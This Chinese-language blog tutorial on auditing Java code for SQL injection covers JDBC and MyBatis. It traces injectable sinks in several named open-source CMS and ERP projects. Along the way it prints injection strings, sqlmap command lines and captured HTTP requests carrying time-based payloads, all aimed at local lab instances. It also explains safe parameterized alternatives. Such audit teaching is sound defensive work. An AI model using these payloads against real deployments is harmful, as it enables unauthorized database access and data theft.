Featured image of post Java代码审计之SQL注入

Java代码审计之SQL注入

Java代码审计之SQL注入

参考链接:万字长文 | 零基础快速上手JAVA代码审计

1.Java中常见数据库接口

JAVA常用框架SQL注入审计

JDBC,Mybatis,Mybatis-plus,Hibernate

1.1.JDBC

JDBC(Java Database Connectivity,Java 数据库连接)是 Java 提供的一套用于执行 SQL 语句的 API,它为多种关系型数据库提供统一访问。JDBC 由一组用 Java 语言编写的类和接口组成,使得 Java 程序能够与各种数据库进行交互,执行数据的增删改查等操作。

1.1.1.JDBC执行流程

1.注册驱动

2.获取建立连接

3.构建运行的SQL语句statement

4.运行语句

5.处理运行结果

6.关闭连接

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@Test
public void testJdbc() throws ClassNotFoundException, SQLException {
    //1.注册驱动
    Class.forName("com.mysql.cj.jdbc.Driver");
    //2.获取连接
    String url = "jdbc:mysql://127.0.0.1:3306/mybatis";
    String username = "root";
    String password = "root";
    Connection conn = DriverManager.getConnection(url, username, password);

    //3.获取statement执行sql
    String sql = "select * from user";
    Statement stmt = conn.createStatement();
    ResultSet rs = stmt.executeQuery(sql);
    List<user> users = new ArrayList<>();
    while (rs.next()) {
        int id = rs.getInt("id");
        String name = rs.getString("name");
        int age = rs.getInt("age");
        Short gender = rs.getShort("gender");
        String phone = rs.getString("phone");

        user user = new user(id, name, age, gender, phone);
        users.add(user);
    }

    users.stream().forEach(user -> {
        System.out.println(user);
    });

    rs.close();
    stmt.close();
}

1.1.2.JDBC注入分析

JDBC存在两种方法执行SQL语句,分别为PreparedStatement和Statement,相比于Statement,PreparedStatement会对SQL语句进行预编译,Statement会直接拼接SQL语句造成SQL注入漏洞

1
2
3
4
5
String name = "Alice' OR '1'='1"; // 恶意输入
String sql = "SELECT * FROM users WHERE name = '" + name + "'";
rs = stmt.executeQuery(sql);

SELECT * FROM users WHERE name = 'Alice' OR '1'='1'
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
安全演示代码// 创建 PreparedStatement 对象
String sql = "SELECT * FROM users WHERE name = ?";
pstmt = conn.prepareStatement(sql);
// 设置参数
pstmt.setString(1, "Alice"); // 第一个占位符绑定值 "Alice"
// 执行查询
rs = pstmt.executeQuery();

只有使用了?占位符才会使用预编译直接拼接仍会产生注入
漏洞代码
1.未使用?作为占位符
2.使用in进行拼接delete from user where id in("+IDS+")
3.使用like进行拼接select * from uses where name like '"% + con + %"'
4.order by / from 等无法预编译
select * from users where title = "+ "order by'"+time+"' asc

1.1.3.JDBC实战案例1—JFinalCMS

https://github.com/jwillber/JFinalCMS

https://mp.weixin.qq.com/s/-AUMo_aD5IBJmff2oS16dQ

查看pom配置文件查看相关使用依赖,在SQL注入中,Mybatis,Mybatis-plus,Hibernate都需要引入pom依赖,只有JDBC是Java原生的API接口,不需要引入依赖

查看完成配置文件后,对于JDBC的网站只能使用关键词进行检索

1
+ like select order by .....

可以看到这段代码username直接凭借到SQL语句中,只要name和username我们可控,即会产生SQL注入漏洞

既然要看name和username参数,那么我们需要判断name和username是如何传入的,可以看到name和username是通过findPage函数传入,那么我们需要前往查看findPage函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public Page<Admin> findPage(String name,String username,Integer pageNumber,Integer pageSize){
    String filterSql = "";
    if(StringUtils.isNotBlank(name)){
        filterSql+= " and name like '%"+name+"%'";
    }
    if(StringUtils.isNotBlank(username)){
        filterSql+= " and username like '%"+username+"%'";
    }
    String orderBySql = DbUtils.getOrderBySql("createDate desc");
    return paginate(pageNumber, pageSize, "select *", "from cms_admin where 1=1 "+filterSql+orderBySql);
}

跳到findPage函数调用页面,发现直接跳转到controller控制层,并且name和username是通过getPara传入,getpara函数是官方写的,用来接收get/post参数,所以name和username参数可控,路由是admin/admin

1
python sqlmap.py -u "http://127.0.0.1:8080/admin/admin?name=Lsec666*"

在本地测试SQL注入时可以使用数据库监控工具,判断传入参数是否传入数据库

1.1.4.JDBC实战案例2—mrcms

记一次不知名小CMS代审过程-MRCMS

1
2
数据库拼接语句
+ append concat join

通过搜索append关键字发现拼接,并且SQL语句没用使用预编译进行占位

通过注释和SQL语句可以发现这是一段根据id删除数据的语句,其中ids是参数,并且没用预编译,所以如果ids参数我们可控那么就存在SQL注入漏洞,看哪个类调用了deleteByIds函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// 批量删除
@Override
public boolean deleteByIds(Class<?> clzz, String ids) {
    // 校验删除字符串,传字符串会抛异常
    List<Long> idList = StringUtil.splitLong(ids,",");

    String prefix = getPreFix();// 表前缀
    String tableName  = clzz.getAnnotation(Entity.class).value();
    String primaryKey = clzz.getAnnotation(Entity.class).key();

    StringBuilder sql = new StringBuilder();
    sql.append("delete from ").append(prefix).append(tableName)
            .append(" where ").append(primaryKey).append(" in(")
            .append(StringUtils.join(idList,",")).append(")");
    return jdbcTemplate.update(sql.toString()) > 0 ? true : false;
}

可以看到这个controller调用了Dao层的deleteByIds方法,并且rid是我们可以传入的参数,所以存在SQL注入漏洞

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
//删除文章
@ResponseBody
@RequestMapping("/delete")
public Object delete(@RequestParam("rid") String rid){
    boolean status = commonDao.deleteByIds(Article.class, rid);
    if(status){
        return new ResultMessage(true,"删除成功!");
    }else{
        return new ResultMessage(false,"删除失败!"); 
    }
}
1
python sqlmap.py -u "http://127.0.0.1/admin/article/delete?rid=1*" 

1.2.Mybatis框架

MyBatis 是一个优秀的持久层框架,它简化了数据库操作的开发,提供了一种灵活的方式来将 Java 对象与数据库表进行映射。MyBatis 的核心思想是通过 XML 或注解配置 SQL 语句,并将查询结果自动映射到 Java 对象中。

与传统的 JDBC 相比,MyBatis 提供了更高的抽象层次,减少了样板代码,同时保留了对 SQL 的完全控制权。

执行流程:

1.配置文件解析

2.SqlSessionFactory创建

3.SqlSession获取

4.SQL语句执行

5.结果映射处理

6.事务管理

7.资源释放

1
2
安全写法select * from user where id = #{id};
不安全写法select * from user where id = ${id};

1.2.1.Mybatis实战案例1—铭飞CMS

5.2.8 · 铭飞/MCMS - Gitee.com

先判断是什么框架,发现在pom.xml中搜索mybatis不存在依赖,但是确实是采用mybatis的只是依赖存放在外部库中,并且搜索关键字也能发现使用的是mybatis框架

对于Mybatis框架的SQL注入,全局搜索${,发现一处存在,那么存在没用预编译一定存在漏洞吗?关键还要看没用预编译的参数是否可控,下面这个SQL语句的调用过程中,我们只能对categoryType和ID进行可控,所以这里不存在SQL注入漏洞

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<!-- 根据站点编号开始结束时间和栏目编号查询文章编号集合 -->
<select id="queryIdsByCategoryIdForParser" resultMap="resultBean" >
        select
        ct.id article_id,c.*
        FROM cms_content ct
        LEFT JOIN cms_category c ON ct.category_id = c.id
        where ct.del=0

        <!-- 查询子栏目数据 -->
        <if test="categoryId!=null and  categoryId!='' and categoryType==1">
            and (ct.category_id=#{categoryId} or ct.category_id in
            (select id FROM cms_category where find_in_set(#{categoryId},CATEGORY_PARENT_IDS)>0))
        </if>
        <if test="categoryId!=null and  categoryId!='' and categoryType==2">
            and ct.category_id=#{categoryId}
        </if>
        <if test="beginTime!=null and beginTime!=''">
            <if test="_databaseId == 'mysql'">
                AND ct.UPDATE_DATE &gt;=  #{beginTime}
            </if>
            <if test="_databaseId == 'oracle'">
                and ct.UPDATE_DATE &gt;= to_date(#{beginTime}, 'yyyy-mm-dd hh24:mi:ss')
            </if>
        </if>
        <if test="endTime!=null and endTime!=''">
            <if test="_databaseId == 'mysql'">
                and ct.UPDATE_DATE &gt;= #{endTime}
            </if>
            <if test="_databaseId == 'oracle'">
                and ct.UPDATE_DATE &gt;= to_date(#{endTime}, 'yyyy-mm-dd hh24:mi:ss')
            </if>
        </if>
        <if test="flag!=null and flag!=''">
        and ct.content_type in ( #{flag})
        </if>
        <if  test="noflag!=null and noflag!=''">
        and (ct.content_type not in ( #{noflag}  ) or ct.content_type is null)
        </if>
        <if test="orderBy!=null  and orderBy!='' ">
            <if test="orderBy=='date'">ORDER BY content_datetime</if>
            <if test="orderBy=='hit'">ORDER BY content_hit</if>
            <if test="orderBy=='sort'">ORDER BY content_sort</if>
            <if  test="orderBy!='date' and orderBy!='hit' and orderBy!='sort'">
                ORDER BY ct.id
            </if>
            <choose>
                <when test="order!=null and order!=''">
                    ${order}
                </when>
                <otherwise>
                    desc
                </otherwise>
            </choose>
        </if>

</select>

除了全局搜索外,有些项目会将有漏洞代码封装到库中,所以直接搜索是找不到的,像这个铭飞CMS就存在这个问题

上面不存在,继续搜索关键词,找到对应的SQL语句,看不懂直接让AI帮忙解释,看看他的意思

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<select id="queryBySQL" resultType="Map" databaseId="mysql">
    select *
    from ${table}
    <where>
        1=1
        <foreach item="item" index="key" collection="wheres" open="AND"
                 separator="AND" close=""> ${key} = #{item}
        </foreach>
        <include refid="net.mingsoft.base.dao.IBaseDao.sqlWhere"></include>
    </where>
    <if test="orderBy !=null">
        order by ${orderBy}
        <if test="order != null">
            <if test="order =='desc'">
                desc
            </if>
            <if test="order =='asc'">
                asc
            </if>
        </if>
        <if test="order==null">desc</if>
    </if>
    <if test="begin != null">
        limit ${begin}
        <if test="end !=null ">
            ,${end}
        </if>
    </if>
</select>

1
2
3
<foreach item="item" index="key" collection="wheres" open="AND"
         separator="AND" close=""> ${key} = #{item}
</foreach>                                     

这段代码的作用是动态生成 SQL 条件,遍历 wheres 集合中的键值对,生成类似 key = value 的条件,并用 AND 连接。它是 MyBatis 中非常常见的动态 SQL 写法,适用于需要根据传入参数动态构建查询条件的场景。

key和item都是wheres集合中的键值对,也就是说如果wheres这个集合我们可控,那么这段代码就存在SQL注入漏洞,接下来就是从后往前找,从Dao层到Services层再到COntroller层

发现很多实现类都调用了这个方法,一个一个看Ctrl+ALT+F7,查看快速用法,一路跟下来可以看到BaseAction调用了queryBySQL这个方法,并且where可控,继续跟进validated方法

1
2
3
4
5
6
7
8
9
protected boolean validated(String tableName,String fieldName, String fieldValue) {
		Map where = new HashMap<>(1);
		where.put(fieldName, fieldValue);
		List list = appBiz.queryBySQL(tableName, null, where);
		if (ObjectUtil.isNotNull(list) && !list.isEmpty()) {
			return true;
		}
		return false;
	}

来到controller层中,controller层中可控参数为fieldName,fieldValue,services层中将这两个参数封装为Map集合,并传入queryBySQL这个存在没用预编译的方法内,所以存在漏洞

Map where = new HashMap<>(1);

where.put(fieldName, fieldValue);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
@ApiOperation(value = "校验参数接口")
@GetMapping("/verify")
@ResponseBody
public ResultData verify(String fieldName, String fieldValue, String id, String idName){
    boolean verify = false;
    if(StringUtils.isBlank(id)){
        verify = super.validated("mdiy_page",fieldName,fieldValue);
    }else{
        verify = super.validated("mdiy_page",fieldName,fieldValue,id,idName);
    }
    if(verify){
        return ResultData.build().success(false);
    }else {
        return ResultData.build().success(true);
    }
}
/${ms.manager.path}/mdiy/page

找路由,二级路由是/verify,一级路由是/${ms.manager.path}/mdiy/page,ms.manager.path是存放在spring的配置文件中

1
http://127.0.0.1:8080/ms/mdiy/page/verify?fieldName=123&fieldValue=123

此时使用SQLMAP进行梭哈即可,由于是后台注入所以需要带上Cookie

1.2.2.Mybatis实战案例2—华夏ERP v2.1

1.先判断框架Mybatis和mybatis-plus

2.搜索关键词${

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<select id="selectByConditionRole" resultMap="com.jsh.erp.datasource.mappers.RoleMapper.BaseResultMap">
    SELECT *
    FROM jsh_role
    WHERE 1=1
    and ifnull(delete_Flag,'0') !='1'
    <if test="name != null">
        and name like '%${name}%'
    </if>
    <if test="offset != null and rows != null">
        limit #{offset},#{rows}
    </if>;
</select>

一部一部往前推,找到传参点,传参

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@GetMapping(value = "/{apiName}/list")
public String getList(@PathVariable("apiName") String apiName,
                    @RequestParam(value = Constants.PAGE_SIZE, required = false) Integer pageSize,
                    @RequestParam(value = Constants.CURRENT_PAGE, required = false) Integer currentPage,
                    @RequestParam(value = Constants.SEARCH, required = false) String search,
                    HttpServletRequest request)throws Exception {
    Map<String, String> parameterMap = ParamUtils.requestToMap(request);
    parameterMap.put(Constants.SEARCH, search);
    PageQueryInfo queryInfo = new PageQueryInfo();
    Map<String, Object> objectMap = new HashMap<String, Object>();
    if (pageSize != null && pageSize <= 0) {
        pageSize = 10;
    }
    String offset = ParamUtils.getPageOffset(currentPage, pageSize);
    if (StringUtil.isNotEmpty(offset)) {
        parameterMap.put(Constants.OFFSET, offset);
    }
    List<?> list = configResourceManager.select(apiName, parameterMap);
    objectMap.put("page", queryInfo);
    if (list == null) {
        queryInfo.setRows(new ArrayList<Object>());
        queryInfo.setTotal(BusinessConstants.DEFAULT_LIST_NULL_NUMBER);
        return returnJson(objectMap, "查找不到数据", ErpInfo.OK.code);
    }
    queryInfo.setRows(list);
    queryInfo.setTotal(configResourceManager.counts(apiName, parameterMap));
    return returnJson(objectMap, ErpInfo.OK.name, ErpInfo.OK.code);
}

/{apiName}/list这里的apiName表示一个路径参数,表示适用于不同的模块之间都可以走这个方法

1
2
/user/list     也走这个方法
/good/list     也会走这个方法
1
2
3
将请求参数转换为集合
Map<String, String> parameterMap = ParamUtils.requestToMap(request);
parameterMap.put(Constants.SEARCH, search);

所以抓包来看那么数据包的请求参数为集合,并且集合中有name字段,如下面这个数据包,search作为参数,传入一个集合,集合中键的值为name

1
2
3
4
5
6
7
8
9
GET /role/list?search={"name":"'AND SLEEP(5)--"}&currentPage=1&pageSize=15 HTTP/1.1
Host: 192.168.145.252:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.145.252:8080/pages/manage/role.html

也可以从mybatis的运行日志中看到,查询语句成功带到数据库中去执行了

1.2.3.Mybatis实战案例3—Tmall商城系统后台SQL注入漏洞

1.判断结构,网站使用SpringBoot+mybatis,经典MVC架构,对于Mybatis网站直接搜索关键词${

可以看到几个Mapper映射文件中存在${符号,判断变量是否可控,OrderUtil类中有两个属性,表明不是写死的,是可控的,继续跟,看Service层哪些方法调用这个SQL语句,并且传参是否存在Order By关键字

实现类中传参存在orderUtil,看

1
2
3
4
@Override
public List<ProductOrder> getList(ProductOrder productOrder, Byte[] productOrder_status_array, OrderUtil orderUtil, PageUtil pageUtil) {
    return productOrderMapper.select(productOrder,productOrder_status_array,orderUtil,pageUtil);
}

发现这三个Controller控制层调用了List方法

依次查看这三个控制层传参是否可控,发现这个按条件查询订单处存在可控变量orderBy,并且路由显示这个是路径参数,直接去后台寻找功能点抓包

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
GET /tmall/admin/order/0/10?productOrder_code=2021090811554201&productOrder_post=111&productOrder_status_array=0&productOrder_status_array=1&productOrder_status_array=2&productOrder_status_array=3&productOrder_status_array=4&orderBy=*&isDesc=true HTTP/1.1
Host: 192.168.145.252:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.145.252:8080/tmall/admin
Cookie: JSESSIONID=D3AF9A47B4B8E59EE5F8C2648F690365; username=admin; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1743836521; Hm_lvt_104e825088869ff9c5855f24ab8204c2=1743836532
Priority: u=0

2.Mybatis使用${}接收传参但不存在SQL注入漏洞

举个例子:假如根据id查询用户接口处存在SQL注入漏洞,后端mapper层查询代码如下:

1
2
@Select * from user where id = ${userId};
User getUser(@Param("user_id") int userId);

pojo实体类层代码中id为int类型

1
2
3
4
5
// POJO
public class UserQuery {
    private int id; //  Integer
    // getter/setter
}

此时,Spring MVC 在绑定 HTTP 请求参数到 int id 时,会强制进行类型转换

  • 如果用户传:?id=123 → 成功,id = 123
  • 如果用户传:?id=abc400 Bad Request(类型转换失败)
  • 如果用户传:?id=123' OR '1'='1同样 400 错误,因为 ' 不是数字

由于恶意字符压根就传入不到mybatis层进行处理,就被spring抛出异常了,所以不存在SQL注入

By Lsec
最后更新于 Oct 13, 2025 20:55 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计
¹鵵ҳ